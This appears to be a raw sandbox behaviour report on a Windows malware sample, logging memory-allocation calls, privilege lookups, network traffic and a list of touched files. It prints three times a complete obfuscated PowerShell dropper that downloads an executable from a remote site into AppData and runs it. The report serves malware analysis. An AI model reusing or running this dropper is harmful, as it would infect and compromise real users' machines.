allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c46000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c47000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c48000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c49000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c4a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c4b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c4c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c4d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c4e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c4f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c53000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -ExecutionPolicy UnRestricted function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIeo, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){$GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function uytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDbspEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)};return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:AppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKEJzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,47846,47843,47862,47851,47857,47856,47848,47857,47860,47865,47857,47855,47847,47856,47861,47850,47847,47843,47854,47862,47850,47792,47845,47857,47855,47793,47860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;EjoMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIeo, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){$GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function uytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDbspEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)};return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:AppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKEJzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,47846,47843,47862,47851,47857,47856,47848,47857,47860,47865,47857,47855,47847,47856,47861,47850,47847,47843,47854,47862,47850,47792,47845,47857,47855,47793,47860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;EjoMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -ExecutionPolicy UnRestricted function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIeo, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){$GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function uytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDbspEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)};return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:AppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKEJzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,47846,47843,47862,47851,47857,47856,47848,47857,47860,47865,47857,47855,47847,47856,47861,47850,47847,47843,47854,47862,47850,47792,47845,47857,47855,47793,47860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;EjoMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;
filepath: powershell.exe
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2560
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef80000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F<html><head><title>400 Bad Request</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body> <h2>HTTPS is required</h2> <p>This is an SSL protected page, please use the HTTPS scheme instead of the plain HTTP scheme to access this URL.<br /> <blockquote>Hint: The URL should starts with <b>https</b>://</blockquote> </p> <hr /> Powered By LiteSpeed Web Server<br /> </body></html>
Data sent €|fSëâ4/ÞÐâÝÔKí[Byg;ƒ©ÆÅéýÒÖ›QÆ/5 ÀÀÀ À 28;ÿ" foundationforwomenshealth.com  
Data sent €|fSëã@7À*rÞtہ?¢PËÐúAk´0N`/5 ÀÀÀ À 28;ÿ" foundationforwomenshealth.com  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 23.52.33.11
Time & API Arguments Status Return Repeated

send

 buffer: €|fSëâ4/ÞÐâÝÔKí[Byg;ƒ©ÆÅéýÒÖ›QÆ/5 ÀÀÀ À 28;ÿ" foundationforwomenshealth.com  
socket: 1440
sent: 133
1 133 0

send

 buffer: €|fSëã@7À*rÞtہ?¢PËÐúAk´0N`/5 ÀÀÀ À 28;ÿ" foundationforwomenshealth.com  
socket: 1440
sent: 133
1 133 0
parent_process powershell.exe martian_process C:\Users\test22\AppData\Roaming\room.exe
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -executionpolicy unrestricted value Attempts to bypass execution policy
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe